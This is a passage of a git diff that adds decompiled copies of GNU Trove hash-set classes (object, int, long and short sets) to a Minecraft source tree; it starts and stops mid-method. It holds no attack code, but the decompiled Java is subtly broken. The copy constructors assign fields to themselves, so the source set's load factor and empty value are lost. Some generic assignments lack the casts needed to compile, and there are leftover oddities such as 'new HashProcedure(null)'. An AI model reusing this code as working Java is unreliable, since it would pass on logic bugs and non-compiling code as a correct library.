+    throws IOException, ClassNotFoundException
+  {
+    int version = in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    
+    if (version >= 1)
+    {
+      _loadFactor = in.readFloat();
+      
+
+      no_entry_value = in.readFloat();
+      
+      if (no_entry_value != 0.0F) {
+        Arrays.fill(_set, no_entry_value);
+      }
+    }
+    
+
+    setUp(size);
+    while (size-- > 0) {
+      float val = in.readFloat();
+      add(val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/set/hash/THashSet.java b/src/minecraft/gnu/trove/set/hash/THashSet.java
new file mode 100644
index 0000000..09e4506
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/hash/THashSet.java
@@ -0,0 +1,410 @@
+package gnu.trove.set.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TObjectHash;
+import gnu.trove.iterator.hash.TObjectHashIterator;
+import gnu.trove.procedure.TObjectProcedure;
+import gnu.trove.procedure.array.ToObjectArrayProceedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.lang.reflect.Array;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class THashSet<E>
+  extends TObjectHash<E>
+  implements Set<E>, Iterable<E>, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  
+  public THashSet() {}
+  
+  public THashSet(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public THashSet(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+  public THashSet(Collection<? extends E> collection)
+  {
+    this(collection.size());
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public boolean add(E obj)
+  {
+    int index = insertionIndex(obj);
+    
+    if (index < 0) {
+      return false;
+    }
+    
+    Object old = _set[index];
+    _set[index] = obj;
+    
+    postInsertHook(old == FREE);
+    return true;
+  }
+  
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof Set)) {
+      return false;
+    }
+    Set that = (Set)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    return containsAll(that);
+  }
+  
+  public int hashCode()
+  {
+    THashSet<E>.HashProcedure p = new HashProcedure(null);
+    forEach(p);
+    return p.getHashCode();
+  }
+  
+  private final class HashProcedure
+    implements TObjectProcedure<E>
+  {
+    private int h = 0;
+    
+    private HashProcedure() {}
+    
+    public int getHashCode() { return h; }
+    
+
+    public final boolean execute(E key)
+    {
+      h += HashFunctions.hash(key);
+      return true;
+    }
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    Object[] oldSet = _set;
+    
+    _set = new Object[newCapacity];
+    Arrays.fill(_set, FREE);
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if ((oldSet[i] != FREE) && (oldSet[i] != REMOVED)) {
+        E o = oldSet[i];
+        int index = insertionIndex(o);
+        if (index < 0) {
+          throwObjectContractViolation(_set[(-index - 1)], o);
+        }
+        _set[index] = o;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public Object[] toArray()
+  {
+    Object[] result = new Object[size()];
+    forEach(new ToObjectArrayProceedure(result));
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  public <T> T[] toArray(T[] a)
+  {
+    int size = size();
+    if (a.length < size) {
+      a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+    }
+    
+    forEach(new ToObjectArrayProceedure(a));
+    
+
+
+
+
+
+
+
+
+    if (a.length > size) {
+      a[size] = null;
+    }
+    
+    return a;
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    
+    Arrays.fill(_set, 0, _set.length, FREE);
+  }
+  
+
+
+
+
+
+
+
+  public boolean remove(Object obj)
+  {
+    int index = index(obj);
+    if (index >= 0) {
+      removeAt(index);
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public TObjectHashIterator<E> iterator()
+  {
+    return new TObjectHashIterator(this);
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Iterator i = collection.iterator(); i.hasNext();) {
+      if (!contains(i.next())) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+  public boolean addAll(Collection<? extends E> collection)
+  {
+    boolean changed = false;
+    int size = collection.size();
+    
+    ensureCapacity(size);
+    Iterator<? extends E> it = collection.iterator();
+    while (size-- > 0) {
+      if (add(it.next())) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+
+
+
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    int size = collection.size();
+    
+
+    Iterator it = collection.iterator();
+    while (size-- > 0) {
+      if (remove(it.next())) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    int size = size();
+    Iterator<E> it = iterator();
+    while (size-- > 0) {
+      if (!collection.contains(it.next())) {
+        it.remove();
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEach(new TObjectProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(Object value)
+      {
+        if (first) {
+          first = false;
+        } else {
+          buf.append(",");
+        }
+        
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(1);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _set.length; i-- > 0;) {
+      if ((_set[i] != REMOVED) && (_set[i] != FREE)) {
+        out.writeObject(_set[i]);
+      }
+    }
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    byte version = in.readByte();
+    
+
+    if (version != 0) {
+      super.readExternal(in);
+    }
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      E val = in.readObject();
+      add(val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/set/hash/TIntHashSet.java b/src/minecraft/gnu/trove/set/hash/TIntHashSet.java
new file mode 100644
index 0000000..1570566
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/hash/TIntHashSet.java
@@ -0,0 +1,550 @@
+package gnu.trove.set.hash;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TIntHash;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.set.TIntSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntHashSet
+  extends TIntHash
+  implements TIntSet, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  
+  public TIntHashSet() {}
+  
+  public TIntHashSet(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntHashSet(int initialCapacity, float load_factor)
+  {
+    super(initialCapacity, load_factor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TIntHashSet(int initial_capacity, float load_factor, int no_entry_value)
+  {
+    super(initial_capacity, load_factor, no_entry_value);
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+  public TIntHashSet(Collection<? extends Integer> collection)
+  {
+    this(Math.max(collection.size(), 10));
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public TIntHashSet(TIntCollection collection)
+  {
+    this(Math.max(collection.size(), 10));
+    if ((collection instanceof TIntHashSet)) {
+      TIntHashSet hashset = (TIntHashSet)collection;
+      _loadFactor = _loadFactor;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_set, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public TIntHashSet(int[] array)
+  {
+    this(Math.max(array.length, 10));
+    addAll(array);
+  }
+  
+
+  public TIntIterator iterator()
+  {
+    return new TIntHashIterator(this);
+  }
+  
+
+  public int[] toArray()
+  {
+    int[] result = new int[size()];
+    int[] set = _set;
+    byte[] states = _states;
+    
+    int i = states.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        result[(j++)] = set[i];
+      }
+    }
+    return result;
+  }
+  
+
+  public int[] toArray(int[] dest)
+  {
+    int[] set = _set;
+    byte[] states = _states;
+    
+    int i = states.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        dest[(j++)] = set[i];
+      }
+    }
+    
+    if (dest.length > _size) {
+      dest[_size] = no_entry_value;
+    }
+    return dest;
+  }
+  
+
+  public boolean add(int val)
+  {
+    int index = insertionIndex(val);
+    
+    if (index < 0) {
+      return false;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = val;
+    _states[index] = 1;
+    postInsertHook(previousState == 0);
+    
+    return true;
+  }
+  
+
+  public boolean remove(int val)
+  {
+    int index = index(val);
+    if (index >= 0) {
+      removeAt(index);
+      return true;
+    }
+    return false;
+  }
+  
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Object element : collection) {
+      if ((element instanceof Integer)) {
+        int c = ((Integer)element).intValue();
+        if (!contains(c)) {
+          return false;
+        }
+      } else {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean containsAll(TIntCollection collection)
+  {
+    TIntIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      int element = iter.next();
+      if (!contains(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean containsAll(int[] array)
+  {
+    for (int i = array.length; i-- > 0;) {
+      if (!contains(array[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean addAll(Collection<? extends Integer> collection)
+  {
+    boolean changed = false;
+    for (Integer element : collection) {
+      int e = element.intValue();
+      if (add(e)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(TIntCollection collection)
+  {
+    boolean changed = false;
+    TIntIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      int element = iter.next();
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(int[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (add(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean modified = false;
+    TIntIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(Integer.valueOf(iter.next()))) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(TIntCollection collection)
+  {
+    if (this == collection) {
+      return false;
+    }
+    boolean modified = false;
+    TIntIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(iter.next())) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(int[] array)
+  {
+    boolean changed = false;
+    Arrays.sort(array);
+    int[] set = _set;
+    byte[] states = _states;
+    
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+        removeAt(i);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    for (Object element : collection) {
+      if ((element instanceof Integer)) {
+        int c = ((Integer)element).intValue();
+        if (remove(c)) {
+          changed = true;
+        }
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(TIntCollection collection)
+  {
+    boolean changed = false;
+    TIntIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      int element = iter.next();
+      if (remove(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(int[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (remove(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    int[] set = _set;
+    byte[] states = _states;
+    
+    for (int i = set.length; i-- > 0;) {
+      set[i] = no_entry_value;
+      states[i] = 0;
+    }
+  }
+  
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    int[] oldSet = _set;
+    byte[] oldStates = _states;
+    
+    _set = new int[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        int o = oldSet[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TIntSet)) {
+      return false;
+    }
+    TIntSet that = (TIntSet)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    for (int i = _states.length; i-- > 0;) {
+      if ((_states[i] == 1) && 
+        (!that.contains(_set[i]))) {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        hashcode += HashFunctions.hash(_set[i]);
+      }
+    }
+    return hashcode;
+  }
+  
+
+  public String toString()
+  {
+    StringBuilder buffy = new StringBuilder(_size * 2 + 2);
+    buffy.append("{");
+    int i = _states.length; for (int j = 1; i-- > 0;) {
+      if (_states[i] == 1) {
+        buffy.append(_set[i]);
+        if (j++ < _size) {
+          buffy.append(",");
+        }
+      }
+    }
+    buffy.append("}");
+    return buffy.toString();
+  }
+  
+  class TIntHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
+    private final TIntHash _hash;
+    
+    public TIntHashIterator(TIntHash hash)
+    {
+      super();
+      _hash = hash;
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _hash._set[_index];
+    }
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(1);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    out.writeFloat(_loadFactor);
+    
+
+    out.writeInt(no_entry_value);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeInt(_set[i]);
+      }
+    }
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    int version = in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    
+    if (version >= 1)
+    {
+      _loadFactor = in.readFloat();
+      
+
+      no_entry_value = in.readInt();
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_set, no_entry_value);
+      }
+    }
+    
+
+    setUp(size);
+    while (size-- > 0) {
+      int val = in.readInt();
+      add(val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/set/hash/TLongHashSet.java b/src/minecraft/gnu/trove/set/hash/TLongHashSet.java
new file mode 100644
index 0000000..e4e93de
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/hash/TLongHashSet.java
@@ -0,0 +1,550 @@
+package gnu.trove.set.hash;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TLongHash;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.set.TLongSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongHashSet
+  extends TLongHash
+  implements TLongSet, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  
+  public TLongHashSet() {}
+  
+  public TLongHashSet(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongHashSet(int initialCapacity, float load_factor)
+  {
+    super(initialCapacity, load_factor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TLongHashSet(int initial_capacity, float load_factor, long no_entry_value)
+  {
+    super(initial_capacity, load_factor, no_entry_value);
+    
+    if (no_entry_value != 0L) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+  public TLongHashSet(Collection<? extends Long> collection)
+  {
+    this(Math.max(collection.size(), 10));
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public TLongHashSet(TLongCollection collection)
+  {
+    this(Math.max(collection.size(), 10));
+    if ((collection instanceof TLongHashSet)) {
+      TLongHashSet hashset = (TLongHashSet)collection;
+      _loadFactor = _loadFactor;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_value != 0L) {
+        Arrays.fill(_set, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public TLongHashSet(long[] array)
+  {
+    this(Math.max(array.length, 10));
+    addAll(array);
+  }
+  
+
+  public TLongIterator iterator()
+  {
+    return new TLongHashIterator(this);
+  }
+  
+
+  public long[] toArray()
+  {
+    long[] result = new long[size()];
+    long[] set = _set;
+    byte[] states = _states;
+    
+    int i = states.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        result[(j++)] = set[i];
+      }
+    }
+    return result;
+  }
+  
+
+  public long[] toArray(long[] dest)
+  {
+    long[] set = _set;
+    byte[] states = _states;
+    
+    int i = states.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        dest[(j++)] = set[i];
+      }
+    }
+    
+    if (dest.length > _size) {
+      dest[_size] = no_entry_value;
+    }
+    return dest;
+  }
+  
+
+  public boolean add(long val)
+  {
+    int index = insertionIndex(val);
+    
+    if (index < 0) {
+      return false;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = val;
+    _states[index] = 1;
+    postInsertHook(previousState == 0);
+    
+    return true;
+  }
+  
+
+  public boolean remove(long val)
+  {
+    int index = index(val);
+    if (index >= 0) {
+      removeAt(index);
+      return true;
+    }
+    return false;
+  }
+  
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Object element : collection) {
+      if ((element instanceof Long)) {
+        long c = ((Long)element).longValue();
+        if (!contains(c)) {
+          return false;
+        }
+      } else {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean containsAll(TLongCollection collection)
+  {
+    TLongIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      long element = iter.next();
+      if (!contains(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean containsAll(long[] array)
+  {
+    for (int i = array.length; i-- > 0;) {
+      if (!contains(array[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean addAll(Collection<? extends Long> collection)
+  {
+    boolean changed = false;
+    for (Long element : collection) {
+      long e = element.longValue();
+      if (add(e)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(TLongCollection collection)
+  {
+    boolean changed = false;
+    TLongIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      long element = iter.next();
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(long[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (add(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean modified = false;
+    TLongIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(Long.valueOf(iter.next()))) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(TLongCollection collection)
+  {
+    if (this == collection) {
+      return false;
+    }
+    boolean modified = false;
+    TLongIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(iter.next())) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(long[] array)
+  {
+    boolean changed = false;
+    Arrays.sort(array);
+    long[] set = _set;
+    byte[] states = _states;
+    
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+        removeAt(i);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    for (Object element : collection) {
+      if ((element instanceof Long)) {
+        long c = ((Long)element).longValue();
+        if (remove(c)) {
+          changed = true;
+        }
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(TLongCollection collection)
+  {
+    boolean changed = false;
+    TLongIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      long element = iter.next();
+      if (remove(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(long[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (remove(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    long[] set = _set;
+    byte[] states = _states;
+    
+    for (int i = set.length; i-- > 0;) {
+      set[i] = no_entry_value;
+      states[i] = 0;
+    }
+  }
+  
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    long[] oldSet = _set;
+    byte[] oldStates = _states;
+    
+    _set = new long[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        long o = oldSet[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TLongSet)) {
+      return false;
+    }
+    TLongSet that = (TLongSet)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    for (int i = _states.length; i-- > 0;) {
+      if ((_states[i] == 1) && 
+        (!that.contains(_set[i]))) {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        hashcode += HashFunctions.hash(_set[i]);
+      }
+    }
+    return hashcode;
+  }
+  
+
+  public String toString()
+  {
+    StringBuilder buffy = new StringBuilder(_size * 2 + 2);
+    buffy.append("{");
+    int i = _states.length; for (int j = 1; i-- > 0;) {
+      if (_states[i] == 1) {
+        buffy.append(_set[i]);
+        if (j++ < _size) {
+          buffy.append(",");
+        }
+      }
+    }
+    buffy.append("}");
+    return buffy.toString();
+  }
+  
+  class TLongHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    private final TLongHash _hash;
+    
+    public TLongHashIterator(TLongHash hash)
+    {
+      super();
+      _hash = hash;
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _hash._set[_index];
+    }
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(1);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    out.writeFloat(_loadFactor);
+    
+
+    out.writeLong(no_entry_value);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeLong(_set[i]);
+      }
+    }
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    int version = in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    
+    if (version >= 1)
+    {
+      _loadFactor = in.readFloat();
+      
+
+      no_entry_value = in.readLong();
+      
+      if (no_entry_value != 0L) {
+        Arrays.fill(_set, no_entry_value);
+      }
+    }
+    
+
+    setUp(size);
+    while (size-- > 0) {
+      long val = in.readLong();
+      add(val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/set/hash/TShortHashSet.java b/src/minecraft/gnu/trove/set/hash/TShortHashSet.java
new file mode 100644
index 0000000..886f7ed
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/hash/TShortHashSet.java
@@ -0,0 +1,550 @@
+package gnu.trove.set.hash;
+
+import gnu.trove.TShortCollection;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TShortHash;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.set.TShortSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortHashSet
+  extends TShortHash
+  implements TShortSet, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  
+  public TShortHashSet() {}
+  
+  public TShortHashSet(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortHashSet(int initialCapacity, float load_factor)
+  {
+    super(initialCapacity, load_factor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TShortHashSet(int initial_capacity, float load_factor, short no_entry_value)
+  {
+    super(initial_capacity, load_factor, no_entry_value);
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+  public TShortHashSet(Collection<? extends Short> collection)
+  {
+    this(Math.max(collection.size(), 10));
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public TShortHashSet(TShortCollection collection)
+  {
+    this(Math.max(collection.size(), 10));
+    if ((collection instanceof TShortHashSet)) {
+      TShortHashSet hashset = (TShortHashSet)collection;
+      _loadFactor = _loadFactor;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_set, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public TShortHashSet(short[] array)
+  {
+    this(Math.max(array.length, 10));
+    addAll(array);
+  }
+  
+
+  public TShortIterator iterator()
+  {
+    return new TShortHashIterator(this);
+  }
+  
+
+  public short[] toArray()
+  {
+    short[] result = new short[size()];
+    short[] set = _set;
+    byte[] states = _states;
+    
+    int i = states.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        result[(j++)] = set[i];
+      }
+    }
+    return result;
+  }
+  
+
+  public short[] toArray(short[] dest)
+  {
+    short[] set = _set;
+    byte[] states = _states;
+    
+    int i = states.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        dest[(j++)] = set[i];
+      }
+    }
+    
+    if (dest.length > _size) {
+      dest[_size] = no_entry_value;
+    }
+    return dest;
+  }
+  
+
+  public boolean add(short val)
+  {
+    int index = insertionIndex(val);
+    
+    if (index < 0) {
+      return false;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = val;
+    _states[index] = 1;
+    postInsertHook(previousState == 0);
+    
+    return true;
+  }
+  
+
+  public boolean remove(short val)
+  {
+    int index = index(val);
+    if (index >= 0) {
+      removeAt(index);
+      return true;
+    }
+    return false;
+  }
+  
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Object element : collection) {
+      if ((element instanceof Short)) {
+        short c = ((Short)element).shortValue();
+        if (!contains(c)) {
+          return false;
+        }
+      } else {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean containsAll(TShortCollection collection)
+  {
+    TShortIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      short element = iter.next();
+      if (!contains(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean containsAll(short[] array)
+  {
+    for (int i = array.length; i-- > 0;) {
+      if (!contains(array[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean addAll(Collection<? extends Short> collection)
+  {
+    boolean changed = false;
+    for (Short element : collection) {
+      short e = element.shortValue();
+      if (add(e)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(TShortCollection collection)
+  {
+    boolean changed = false;
+    TShortIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      short element = iter.next();
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(short[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (add(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean modified = false;
+    TShortIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(Short.valueOf(iter.next()))) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(TShortCollection collection)
+  {
+    if (this == collection) {
+      return false;
+    }
+    boolean modified = false;
+    TShortIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(iter.next())) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(short[] array)
